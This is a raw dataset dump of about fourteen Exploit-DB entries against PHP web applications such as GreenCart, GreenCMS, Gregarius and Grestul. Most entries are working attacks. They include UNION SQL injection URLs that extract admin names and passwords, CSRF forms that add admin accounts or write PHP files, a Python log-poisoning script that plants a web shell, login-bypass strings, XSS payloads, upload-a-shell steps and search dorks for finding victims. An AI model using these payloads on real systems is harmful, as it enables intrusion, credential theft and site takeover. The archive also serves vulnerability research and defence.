deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6189
Description: GreenCart PHP Shopping Cart - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-01
Author: Hussin X

Exploit:
|___________________________________________________|
|
| GreenCart PHP Shopping Cart (id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                   |
|
| script : http://www.pozscripts.com/product_details.php?item_id=1
|
| DorK   : inurl:classified/product_desc.php?id=
| DorK   : inurl:classified/store_info.php?id=
|___________________________________________________|






Exploit:  

www.[target].com/Script/product_desc.php?id=-118+UNION+SELECT+1,2,concat(admin_name,0x3e,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+FROM+sbclassified_admin--


www.[target].com/Script/store_info.php?id=-118+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(admin_name,0x3e,pwd),18,19,20,21,22,23+FROM+sbclassified_admin--


www.[target].com/Script/product_desc.php?id=-118+UNION+SELECT+1,2,concat(admin_name,0x3e,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+FROM+sbclassified_admin--


www.[target].com/Script/product_desc.php?id=-118+UNION+SELECT+1,2,concat(admin_name,0x3e,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+FROM+sbclassified_admin--





____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-01]
Exploit-DB #44826
Description: GreenCMS 2.3.0603 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-06-03
Author: xichao

Exploit:
# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11671
 
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.

poc:

<span style="font-size:18px;"><!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>csrftest</title>  
</head>  
　　<body>  
    　　　　<form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">  
　　　　　　　　<input type="hidden" name="user_id0" value="1">  
　　　　　　　　<input type="hidden" name="user_login" value="test1">
　　　　　　　　<input type="hidden" name="password" value="test1">  
　　　　　　　　<input type="hidden" name="rpassword" value="test1">  
　　　　　　　　<input type="hidden" name="user_nicename" value="123">  
　　　　　　　　<input type="hidden" name="user_email" value="123%40Qq.com">  
　　　　　　　　<input type="hidden" name="user_url" value="www.baidu.com">  
　　　　　　　　<input type="hidden" name="user_intro" value="test">  
　　　　　　　　<input type="hidden" name="user_status" value="1">  
　　　　　　　　<input type="hidden" name="role_id" value="1">
        <button type="submit" value="Submit">add admin</button>  
　　　　　　</form>  
    </body>
</html></span>

References:
http://www.iwantacve.cn/index.php/archives/39/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671
https://github.com/GreenCMS/GreenCMS/issues/109
Exploit-DB #44825
Description: GreenCMS 2.3.0603 - Cross-Site Request Forgery / Remote Code Execution
Type: webapps
Platform: php
Date: 2018-06-03
Author: xichao

Exploit:
# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability get webshell
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11670
 
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that
allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect.

poc:

<span style="font-size:18px;"><!DOCTYPE html> 
<html lang="en"> 
<head> 
    <meta charset="UTF-8"> 
    <title>csrftest</title> 
</head> 
<form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer">
    <script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=[PII_REDACTED]62"></script>
    <input type="hidden" name="cmd" value="put">
    <input type="hidden" name="target" value="l1_eGMucGhw">
　    <input type="hidden" name="content" value="<?php phpinfo();?>">
    <button type="submit" value="Submit">WebShell</button>
    </form>
    </body>
</html></span>

References:
http://www.iwantacve.cn/index.php/archives/38/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670
https://github.com/GreenCMS/GreenCMS/issues/108
Exploit-DB #44922
Description: GreenCMS 2.3.0603 - Information Disclosure
Type: webapps
Platform: php
Date: 2018-06-22
Author: vr_system

Exploit:
# Exploit Title: GreenCMS 2.3.0603 - remote obtain sensitive information
# Date: 2018-06-21
# Exploit Author: vr_system
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS/
# Software Link: https://github.com/GreenCMS/GreenCMS/
# Version: GreenCMS 2.3.0603
# Tested on: windows 7
# CVE : CVE-2018-12604

#  POC£ºhttp://site.com/Data/Log/year_month_day.log.
# Tested Link: 
http://site.com/GreenCMS-beta/Data/Log/18_06_20.log  
http://site.com/Data/Log/18_06_20.log
Exploit-DB #17128
Description: greenpants 0.1.7 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-06
Author: Ptrace Security

Exploit:
# Exploit Title:   GreenPants 0.1.7 Multiple Vulnerabilities
# Date         :   19 March 2011
# Author       :   Ptrace Security (Gianni Gnesa [gnix])
# Contact      :   research[at]ptrace-security[dot]com
# Software Link:   http://sourceforge.net/projects/greenpants/
# Version      :   0.1.7
# Tested on    :   CentOS 5.2 with magic_quotes_gpc off
# Thanks to    :   The Resistance Group (http://www.ptrace.net/theresistance)

# SQL Injections

[01] ./pages/indexheader.php:36:	$res = consultarsql("SELECT tit FROM gp_entradas WHERE id=$id;"); 
     => http://localhost/greenpants/index.php?id=-99 UNION SELECT VERSION()

[02] ./pages/searcher.php:27:		$res = consultarsql("SELECT * FROM gp_entradas WHERE tit LIKE '%$s%'");
     => http://localhost/greenpants/index.php?s=4X0r' UNION SELECT NULL,VERSION(),NULL,NULL,NULL,NULL -- '

[03] ./pages/indexviewentry.php:25:	$res = consultarsql("SELECT * FROM gp_entradas WHERE id=$id");
     => http://localhost/greenpants/index.php?id=-99 UNION SELECT NULL,VERSION(),NULL,NULL,NULL,NULL 

[04] ./admin/pages/editcat.php:10:	$res = consultarsql("SELECT * FROM gp_categorias WHERE id=$id;");
     => http://localhost/greenpants/admin/index.php?do=editcat&i=-99 UNION SELECT NULL,VERSION(),NULL 

[05] ./admin/pages/editemot.php:10:	$res = consultarsql("SELECT * FROM gp_emoticonos WHERE id=$id;");
     => http://localhost/greenpants/admin/index.php?do=editemot&i=-99 UNION SELECT NULL,VERSION(),NULL,NULL
Exploit-DB #9156
Description: Greenwood Content Manager 0.3.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-07-15
Author: Khashayar Fereidani

Exploit:
#!usr/bin/python
#####################################################################################
####            Greenwood Content Manager Remote Code Execution                  ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://garr.dl.sourceforge.net/sourceforge/greenwood/greenwood-release-0.3.2.tar.bz2
#                                                                                   #
#Dork :  :(                                                                           #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://[site]/[path]/include/processor.php?content_path=[evil_code_path]           #
#                                                                                   #
###################################### TNX GOD ######################################
import sys,httplib,urllib
if len(sys.argv) < 3 :
    print "\n\rUsage : " + sys.argv[0] + " [site] [path]\n\r"
    print "Ex : " + sys.argv[0] + " 123.com /greenwood/\n\r"
    print "Powered by : Sina Yazdanmehr( R3d.W0rm )\n\r"
    print "http://IrCrash.com - http://R3dW0rm.ir\n\r"
    exit()
if 'http://' in sys.argv[1] :
    sys.argv[1]=sys.argv[1].replace('http://','')
print "Input evil code.( With out ' and <??> )( Ex. include $_GET[file]; )\n\r"
shell=raw_input('Code : ')
user_agent={'User-Agent':'<?php fwrite($fp=fopen("../var/sh.php","w+"),\'<?php /* Exploited by : R3d.W0rm - http://r3dw0rm.ir */ ' + shell + '?>\');fclose($fp); ?>'}
conn=httplib.HTTPConnection(sys.argv[1],80)
conn.request("POST",'/' + sys.argv[2] + '/','',user_agent)
response=conn.getresponse().read()
urllib.urlopen('http://' + sys.argv[1] + '/' + sys.argv[2] + '/include/processor.php?content_path=../var/access_log')
print "\n\rShell created : http://" +  sys.argv[1] + sys.argv[2] + "/var/sh.php\n\r"

# milw0rm.com [2009-07-15]
Exploit-DB #13751
Description: greeting card - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-06
Author: Mr.Benladen

Exploit:
# Exploit Title: [greeting card Remote Upload Vulnerability]
# Date: [04/06/2010]
# Author: [Mr.Benladen]
# Software Link: [N/A]
# Version: [2004/2008]
# Tested on: [Linux/unix]
# CVE : [if exists]
# Code : [N/A]
#Email : MaFiadu48@hotmail.fr

##############################
########################################################################

# # # #
# # # #
# # # #
# ## #### ## #
## ## ###### ## ##
## ## ###### ## ##
## ## #### ## ##
### ############ ###
########################
Mr.Benladen cr3w
##############
######## ########## #######
### ## ########## ## ###
### ## ########## ## ###
### # ########## # ###
### ## ######## ## ###
## # ###### # ##
## # #### # ##
## ##

######################################################################################################

[Dork ]: "Send amazing greetings to your friends and relative!"

{exploit} : http://127.0.0.1/upload.php

First register and the site and go to upload cards

After you have uploaded your shells , you will find it in this Path :
http://[site]//cards/id_thumb_evil.php

demo : http://server/cards/[PII_REDACTED]_thumb_oujda.php

######################################################################################################


Greetz To : Federal7-blackroot-khalidmoro-ra3ch-yesmouh-Zi00n From
Ukrania-Dr.Prorat all My Friend

and al muslim h4x0r

M0r0Can Is Here

--=-=-=-=-www.Joomlaservice.info <http://www.joomlaservice.info/> or
www.dz4all.com -=-=-=-=--=
Exploit-DB #13983
Description: Greeting card 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: Net.Edit0r

Exploit:
========================================
Grering card SQL Injection Vulnerability
========================================


# Title : Greetring card SQL Injection Vulnerability
# Author : Net.Edit0r
# Location : Iran
# Dork : "Send amazing greetings to your friends and relative!"
# Category : webapps
# Version : 1.1
# Platform : linux/php


[~]######################################### InformatioN
#############################################[~]

[~] Title : Grering card SQL Injection Vulnerability
[~] Author : Net.Edit0r
[~] Email : Net.Edit0r@Att.net ~ Black.Hat.TM@Gmail.com

[~]######################################### ExploiT
#############################################[~]

[~] 1. Vulnerable File :

http://127.0.0.1/search.php?CategoryID=15&SubcategoryID=[SQL]

[~] 2. Vulnerable File :

http://127.0.0.1/search.php?CategoryID=6[SQL]

[~] 3. Vulnerable File :

http://127.0.0.1/news.php?CategoryID=[SQL]

[~] 3. Demo :

http://server/search.php?CategoryID=15&SubcategoryID=60'

[~]######################################### ThankS To ...
############################################[~]

[~] Special Thanks To My Best FriendS :

NetQard , B3hz4d , Raiden , ~[ CriMe ]~ , † CoNstaNtine † , _R3v4l_ ,
~~XTerror~~ , __l2o5v4__ , _Attack_

[~] IRANIAN Young HackerZ

[~] GreetZ : Sun-Army.Org , Phc.Ir , Dark-tunnel.com , AttackerZ.IR

[~]######################################### FinisH :D
#############################################[~]
Exploit-DB #13783
Description: GREEZLE - Global Real Estate Agent Site Auth SQL Injection
Type: webapps
Platform: php
Date: 2010-06-09
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: GREEZLE - Global Real Estate Agent Site Authentication ByPass
Published: 2010-06-09
Vendor url:http://www.ifstudio.org/greezla/
Price:99$
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue™®, S1ayer and to all ICW
members
#############################################################################################################################################################################


GREEZLE - Global Real Estate Agent Site Authentication ByPass

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]

#############################################################################################################################################################################

Description:

GREEZLE is an easy in use site which allows to sell online any real estate
objects.
Visitors are able to browse, search and view properties.
 It allows you to create agent accounts, who can also sell any real estate
objects at a fee you charge.

###############################################################################################################################################################################

Vulnerability:

*Authentication Bypass found

The Provided Script as Sqli Vulnerability in Admin Login page

Example : http://[site]/en/login

Use the string a' or '1'='1 for User name and Password to gain access

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 # 0day no more#
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


################################################################################################################################################################################
-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #6159
Description: Gregarius 0.5.4 - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-29
Author: GulfTech Security

Exploit:
##########################################################
# GulfTech Security Research                July 29, 2008
##########################################################
# Vendor : Marco Bonetti
# URL : http://www.gregarius.net/
# Version :  Gregarius <= 0.5.4
# Risk : SQL Injection
##########################################################


Description:
Gregarius is a popular web-based RSS/RDF/ATOM feed aggregator
written in php. There are some SQL Injection issues in Gregarius
that allow for the disclosure of database contents and ultimately
the complete compromise of the Gregarius installation via exposed
admin credentials. It is advised that Gregarius users update their
gregarius installations as soon as possible.



SQL Injection:
Gregarius contains a number of SQL Injection issues that allow for
an attacker to expose admin credentials with no kind of authentication
needed. Lets have a look at the following code taken from /ajax.php


function __exp__getFeedContent($cid) {
    ob_start();
    rss_require('cls/items.php');
    
    $readItems = new ItemList();

    $readItems -> populate(" not(i.unread & ". RSS_MODE_UNREAD_STATE  .")
    and i.cid= $cid", "", 0, 2, ITEM_SORT_HINT_READ);
    $readItems -> setTitle(LBL_H2_RECENT_ITEMS);
    $readItems -> setRenderOptions(IL_TITLE_NO_ESCAPE);
    foreach ($readItems -> feeds[0] -> items as $item) {
        $item -> render();
    }
    $c = ob_get_contents();
    
    ob_end_clean();
    return "$cid|@|$c";
}


The above function is called by sajax_handle_client_request() and
allows for an attacker to specify the content of $cid via the rsargs[]
array. This being the case an attacker is able to influence the query
regardless of magic_quotes_gps settings etc.

/ajax.php?rs=__exp__getFeedContent&rsargs[]=-99 UNION SELECT concat(
char(58),uname,char(58),password),2,3,4,5,6,7,8,9,0,1,2,3 FROM users/*

The above query would successfully dump the users table to the browser.
The password hashes in the database are md5 encrypted, but an attacker
only need to md5 encrypt that password hash and place it in a cookie with the format of user|hash to gain access to the administrative controls.



Solution:
The Gregarius developers have been made aware of this issue, and users
are encouraged to upgrade as soon as possible.



Credits:
James Bercegay of the GulfTech Security Research Team

# milw0rm.com [2008-07-29]
Exploit-DB #36538
Description: Gregarius 0.6.1 - Multiple SQL Injections / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-09
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/51338/info

Gregarius is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Gregarius versions 0.6.1 and prior are vulnerable. 

http://www.example.com/?page=1[it'shere]&media=rss&
http://www.example.com/admin/index.php?domain=folders&action=edit&fid=8[it'shere xss with sql]
http://www.example.com/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
Exploit-DB #8902
Description: Grestul 1.2 - Remote Add Administrator Account
Type: webapps
Platform: php
Date: 2009-06-08
Author: ThE g0bL!N

Exploit:
Grestul 1.2 Remote add admin exploit
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://grestul.com/
Note: Algerie 3-1 Egypt

code
-----
<form method="post" name="add_admin" id="add_admin" action="http://grestul.com/demo/admin/options.php?action=manage_admin">
  <label for="username_new" class="label_newpage">Username:</label><br /><input type="text" name="username_new" id="username_new" class="input_newpage" value="" />
  <br /><br /><label for="password" class="label_newpage">New Password:</label><br /><input type="password" name="password" id="password" class="input_newpage" value="" />
  <br /><br /><label for="con_password" class="label_newpage">Confirm Password:</label><br /><input type="password" name="con_password" id="con_password" class="input_newpage" value="" />
  <br /><input type="submit" name="add_admin" id="add_admin" value="Add Admin" class="submit_newpage" />
  </form></div>
---------------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-08]
Exploit-DB #8069
Description: Grestul 1.x - Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-16
Author: x0r

Exploit:
########################################
Grestul Sql Injection By Cookie ( bypass)
########################################
Autore: x0r
Email: andry2000@hotmail.it
Site: http://w00tz0ne.org
########################################

Let's Go!

\admin\login.php :

$username = SafeAddSlashes($_POST['username']);
$passcode = SafeAddSlashes(md5($_POST['passcode']));
$time = time();
$check = SafeAddSlashes($_POST['setcookie']);

$query = "SELECT user, pass FROM grestullogin WHERE user = '$username' AND
pass = '$passcode'";
$result = mysql_query($query, $db);
if(mysql_num_rows($result)) {
$_SESSION['loggedin'] = 1;
	if($check) {
	setcookie("grestul[username]", $username, $time + 3600);
	setcookie("grestul[passcode]", $passcode, $time + 3600);

Oh damn ! SafeAddSlashes...our ' or ' don't go! But...\admin\index.php

if(isset($_COOKIE['grestul'])) {

include 'inc/config.php';

$username = $_COOKIE['grestul']['username'];
$passcode = $_COOKIE['grestul']['passcode'];

$query = "SELECT user, pass FROM grestullogin WHERE user = '$username' AND
pass = '$passcode'";
$result = mysql_query($query, $db);

So....

Exploit:

[+]javascript:document.cookie = "grestul[username]=' or '; path=/";
[+]javascript:document.cookie = "grestul[passcode]=' or '; path=/";

And then \admin\index.php ^ ^ Auth Bypassed ^ ^

################################################

w00t Z0ne - InfoSec Forums
    [ w00tZ0ne.org ]

# milw0rm.com [2009-02-16]